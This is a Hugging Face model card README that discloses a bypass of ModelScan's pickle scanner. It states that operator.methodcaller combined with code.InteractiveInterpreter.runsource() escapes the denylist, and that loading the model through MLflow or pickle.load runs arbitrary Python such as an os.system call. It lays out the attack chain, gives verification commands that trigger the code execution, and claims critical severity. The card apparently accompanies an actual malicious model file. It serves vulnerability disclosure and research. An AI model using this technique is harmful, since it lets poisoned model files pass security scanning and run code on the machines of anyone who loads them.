xiaoyaoes's picture
Upload README.md with huggingface_hub
11f8fad verified
|
Raw
History Blame Contribute Delete
1.79 kB
---
library_name: mlflow
tags:
- security-research
- modelscan-bypass
- code
- InteractiveInterpreter
- methodcaller
- rce
---
# ModelScan code.InteractiveInterpreter Bypass β€” RCE via code.InteractiveInterpreter.runsource()
## Summary
ModelScan's pickle scanner uses an `unsafe_globals` denylist to detect malicious pickle operations. However, **`code.InteractiveInterpreter`** and **`operator.methodcaller`** are NOT in the denylist.
This MLflow model achieves arbitrary Python code execution through `code.InteractiveInterpreter.runsource()`, while ModelScan reports zero issues.
## Attack Chain
The pickle bytecode uses only two STACK_GLOBAL opcodes:
1. `operator.methodcaller('runsource', '__import__("os").system("cmd")')` β†’ Creates a callable
2. `code.InteractiveInterpreter()` β†’ Creates an interactive interpreter instance
At load time: `methodcaller(interpreter)` β†’ `interpreter.runsource('__import__("os").system("cmd")')` β†’ Arbitrary Python code execution
## Why It Works
- `code` module is entirely absent from unsafe_globals
- `operator.methodcaller` is not blocked (only `operator.attrgetter` is)
- Unlike `os.system` which only runs shell commands, `runsource()` executes arbitrary Python code
## Verification
```bash
# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! πŸŽ‰
# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
"
# 3. Direct pickle.load() triggers RCE
python3 -c "
import pickle
with open('model.pkl', 'rb') as f:
pickle.load(f)
"
```
## Impact
- **Severity**: Critical (CVSS 9.8)
- **Affected**: All pickle-based formats scanned by ModelScan
- Remote, no auth needed, no user interaction
- Executes arbitrary Python code (not limited to shell commands)